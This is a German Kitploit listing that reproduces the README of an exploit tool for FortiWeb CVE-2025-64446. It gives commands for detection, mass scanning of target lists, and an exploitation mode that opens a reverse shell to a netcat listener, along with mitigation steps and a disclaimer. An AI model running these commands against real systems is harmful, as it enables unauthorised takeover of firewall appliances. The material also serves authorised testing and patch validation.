Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
FortiWeb-cve-2025-64446-RCE-exploit — Sicherheitsforschungstool für die FortiWeb-Schwachstelle CVE-2025-64446. Automatisiertes Exploitation-Framework mit erweitertem Logging, Echtzeit-Metriken, Proxy-Debugging und professioneller Berichterstattung. Enthält Wiederholungslogik, Multithreading und konfigurierbare Einstellungen. Nur für autorisierte Sicherheitstests. CVSS 9.8 Kritisch. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/fortiweb-cve-2025-64446-rce-exploit
SchwachstellenscannerExploitationWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstests
GitHubcerberusmrxi/fortiweb-cve-2025-64446-rce-exploit

FortiWeb-cve-2025-64446-RCE-exploit

Repository anzeigen
12vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Sicherheitsforschungstool für die FortiWeb-Schwachstelle CVE-2025-64446. Automatisiertes Exploitation-Framework mit erweitertem Logging, Echtzeit-Metriken, Proxy-Debugging und professioneller Berichterstattung. Enthält Wiederholungslogik, Multithreading und konfigurierbare Einstellungen. Nur für autorisierte Sicherheitstests. CVSS 9.8 Kritisch.

Teilen

FortiWeb CVE-2025-64446 RCE Exploit

Python License CVSS CVE Status Version

Professionelles Framework für Sicherheitsforschung & Schwachstellenbewertung

Installation · Schnellstart · Verwendung · Architektur · CLI-Referenz · Haftungsausschluss


Überblick

Das FortiWeb Research Tool ist ein Python-Bewertungsframework für die autorisierte Erkennung und Analyse von CVE-2025-64446, einer kritischen Schwachstelle zur Remote-Codeausführung ohne vorherige Authentifizierung, die FortiWeb Web Application Firewall-Appliances betrifft.

AttributDetail
AutorSudeepa Wanigarathna
CVECVE-2025-64446
CVSS9.8 (Kritisch)
KlasseAuthentifizierungsumgehung + Path-Traversal → beliebiger Datei-Upload → RCE
BetroffenBuilds vor 7.6.7 / 7.8.7 / 8.0.2 (gegen das offizielle Advisory prüfen)
BehebungUpgrade auf eine gepatchte FortiWeb-Version
SprachePython 3.7+
Einstiegspunktexploit.py

Wichtige Funktionen

ModusFlag(s)Zweck
Erkennung--detect-onlyNicht-exploitative Schwachstellenindikatoren
Sicher / schreibgeschützt--safe-modeVerändernde Exploit-Schritte überspringen
Massenscan--targets + --scan-modeParallele Bewertung mehrerer Ziele
Exploitation--target + --lhostKontrollierte Kette nur in autorisierten Laboren
Probelauf--dry-runAblauf üben, ohne Änderungen anzuwenden
Berichterstattung--output-dirJSON- & HTML-Engagement-Berichte

Schwachstellenübersicht

FeldWert
CVE-IDCVE-2025-64446
CVSS-Score9.8 (Kritisch)
AuswirkungVollständige Systemkompromittierung bei erfolgreicher Ausnutzung
BehebungUpgrade auf 7.6.7, 7.8.7, 8.0.2 oder neuer

Bestätigen Sie betroffene/behobene Versionen vor dem Engagement-Scoping stets gegen Fortinet PSIRT.


📸 Screenshots

VerwendungScan-Ergebnisse
DashboardScan-Ergebnisse
HTML-Ausgabe
Terminalausgabe

Installation

root@kitploit:~
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit

python3 -m venv venv
source venv/bin/activate          # Linux / macOS
# venv\Scripts\activate           # Windows

pip install -r requirements.txt
python3 exploit.py --help

Abhängigkeiten

PaketFunktion
requests, urllib3HTTP-Client
rich, colorama, tqdmTerminal-UI & Fortschrittsanzeige
pyyamlLaden von config.yaml

Optional (Entwicklung): pytest, black, flake8, mypy, python-dotenv — siehe requirements.txt.


Schnellstart

root@kitploit:~
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only

# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode

# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10

# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444

Hinweis: Der Exploitation-Modus erfordert --lhost. Verwenden Sie --detect-only oder --safe-mode, wenn Sie nicht beabsichtigen, die vollständige Kette auszuführen.


Verwendungsanleitung

Erkennungsmodus

root@kitploit:~
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30

Die Erkennung bewertet Erreichbarkeit, Versionshinweise, API-Exposition, Path-Traversal-Indikatoren, Auth-Bypass-Signale und die Zugänglichkeit von Upload-Endpunkten. Das Risiko wird anhand dieser Indikatoren als Kritisch / Hoch / Mittel / Niedrig eingestuft.

Massenscan

root@kitploit:~
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF

python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports

ScannerManager führt FortiWebScanner-Worker über einen Thread-Pool aus, gibt eine Rich-Zusammenfassungstabelle aus und schreibt scan_report.json / scan_report.html.

Exploitation-Modus (nur autorisierte Labore)

root@kitploit:~
# Start your listener first (example)
nc -lvnp 4444

python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"

Konfigurationsdatei

root@kitploit:~
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
root@kitploit:~
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999

CLI-Flags überschreiben die aus der YAML-Datei geladenen Werte.


Architektur

root@kitploit:~
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics   # dataclasses
├── LogManager                                       # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay                           # Rich / colorama UI
├── FortiWebScanner                                  # detect-only checks (no exploit chain)
├── ScannerManager                                   # threaded multi-target scans + reports
├── FortiWebExploit                                  # single-target detect / exploit workflow
└── main()                                           # argparse + mode dispatch
KomponenteZuständigkeit
FortiWebScannerPrüfungen von Erreichbarkeit, Version und CVE-Indikatoren
ScannerManagerParallelisierte Multi-Ziel-Scans, JSON/HTML-Zusammenfassungen, Übersichtstabelle
FortiWebExploitKonfigurationsgesteuerte Sitzung, Wiederholungen, Metriken, Berichte, optionaler Exploit-Pfad
LogManagerStrukturierte Dateiprotokollierung + farbige Konsole

Übergeordneter Ablauf für ein einzelnes Ziel:

  1. Banner-/Protokollierungseinrichtung
  2. Erreichbarkeits- & Versionsprüfung
  3. Indikatorprüfungen (oder vollständige Kette, wenn nicht im Erkennungs-/Sicherheitsmodus)
  4. JSON- & HTML-Bericht unter reports/
  5. Bereinigung, falls zutreffend

Funktionen

Erkennung

  • Path-Traversal-Indikatorprüfungen gegen Management-API-Pfade
  • Prüfungen auf Auth-Bypass-Signale
  • FortiWeb-Versionsprüfung über gängige Status-/Versions-Endpunkte
  • Kartierung der API-Endpunkt-Exposition
  • Erreichbarkeitsprüfungen für Datei-Upload-Endpunkte
  • Risikobewertung aus kombinierten Indikatoren

Berichterstattung & Beobachtbarkeit

  • JSON- und HTML-Berichte mit Zeitstempel
  • Metriken pro Anfrage (Status, Latenz, Erfolgsrate)
  • Getrennte Protokolle: exploit.log, errors.log, requests.log

Betriebliche Steuerung

  • Mehrthread-Massenscan (--threads)
  • HTTP/HTTPS-Proxy-Unterstützung (z. B. Burp)
  • Wiederholungsversuche mit konfigurierbarer Anzahl/Verzögerung (Standard: 3 / 2s)
  • Benutzerdefinierter User-Agent, Timeout, SSL-Verify-Umschalter (--no-verify)
  • Farbige Konsolenausgabe über Colorama + Rich

Generierte Ausgabe

root@kitploit:~
reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html

logs/
├── exploit.log
├── errors.log
└── requests.log

Beispiel-JSON-Bericht (Erkennung)

root@kitploit:~
{
  "metadata": {
    "tool_name": "FortiWeb Research Tool",
    "version": "1.0",
    "author": "Sudeepa Wanigarathna",
    "timestamp": "2026-07-31T00:02:17",
    "mode": "detect"
  },
  "target": {
    "url": "https://192.168.1.100:8443",
    "reachable": true,
    "version": "7.6.0",
    "vulnerable": true,
    "risk_level": "Critical"
  },
  "metrics": {
    "total_requests": 12,
    "average_response_time": 0.42,
    "success_rate": 0.91
  }
}

Befehlsreferenz

root@kitploit:~
python3 exploit.py [OPTIONS]
OptionBeschreibung
--target URLEinzelne FortiWeb-Basis-URL
--targets FILEDurch Zeilenumbrüche getrennte Zielliste
--lhost IPListener-Host (für Exploitation erforderlich)
--lport PORTListener-Port (Standard: 4444)
--config FILEYAML-Konfiguration
--detect-onlyNur erkennen; Exploit-Kette überspringen
--scan-modeMulti-Ziel-Scan (benötigt --targets)
--safe-modeSchreibgeschützt; verändernde Schritte überspringen
--dry-runProbelauf, ohne Änderungen anzuwenden
--timeout SECAnfrage-Timeout (Standard: 15)
--threads NAnzahl der Scan-Worker (Standard: 5)
--proxy URLHTTP-Proxy
--user-agent STRBenutzerdefinierter User-Agent
-v, --verboseAusführliche Protokollierung / Konsole
--no-verifyTLS-Zertifikatsprüfung deaktivieren
--output-dir DIRBerichtsverzeichnis (Standard: reports)
--log-dir DIRProtokollverzeichnis (Standard: logs)
-h, --helpHilfe anzeigen

Projektstruktur

root@kitploit:~
.
├── exploit.py           # Research tool (detect / scan / exploit)
├── config.yaml          # Example configuration
├── requirements.txt     # Python dependencies
├── reports/             # Generated JSON / HTML reports
├── logs/                # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md

Maßnahmen zur Risikominderung

  1. Aktualisieren Sie FortiWeb auf eine gepatchte Version (7.6.7+, 7.8.7+, 8.0.2+ oder gemäß aktueller PSIRT-Empfehlung).
  2. Beschränken Sie Management-Schnittstellen auf vertrauenswürdige Netzwerke / Jump-Hosts.
  3. Überwachen Sie Authentifizierungs- und Wartungs-API-Aktivitäten auf anomalen Zugriff.
  4. Rotieren Sie Anmeldedaten und prüfen Sie die Integrität nach jeder bestätigten Offenlegung.
  5. Führen Sie nach dem Patchen --detect-only / --safe-mode erneut aus, um die Behebung zu validieren.

Rechtlicher & ethischer Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests, Forschung und Bildung bestimmt.

  • Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für deren Tests Sie eine ausdrückliche schriftliche Genehmigung haben
  • Befolgen Sie die Regeln für verantwortungsvolle Offenlegung und Bug-Bounty-Programme
  • Verwenden Sie es nicht für unbefugten Zugriff, Schäden oder illegale Aktivitäten

Durch die Nutzung dieser Software bestätigen Sie, dass Sie autorisiert sind, sie nicht missbrauchen werden und die volle Haftung für Ihre Handlungen übernehmen. Der Autor ist nicht für Missbrauch verantwortlich.

Hinweise zur vertraulichen Meldung von Schwachstellen im Zusammenhang mit diesem Projekt finden Sie in SECURITY.md.


Ressourcen

  • Fortinet PSIRT
  • Advisory: FG-IR-25-64446
  • Patch-Downloads
  • NVD: CVE-2025-64446

Mitwirken

  1. Forken Sie das Repository
  2. Erstellen Sie einen Branch: git checkout -b feature/your-change
  3. Committen Sie mit einer klaren Nachricht
  4. Pushen Sie und eröffnen Sie einen Pull-Request

Bitte validieren Sie Änderungen nur in autorisierten Laborumgebungen und vermeiden Sie es, Live-Zieldaten, Cookies oder Anmeldedaten zu committen.


Lizenz

MIT-Lizenz — siehe LICENSE.

Copyright (c) 2026 Sudeepa Wanigarathna


Autor & Support

AutorSudeepa Wanigarathna
IssuesGitHub Issues für dieses Repository
SicherheitSiehe SECURITY.md · [email protected]

Nur autorisierte Forschung · FortiWeb CVE-2025-64446

Nach oben

Tool herunterladen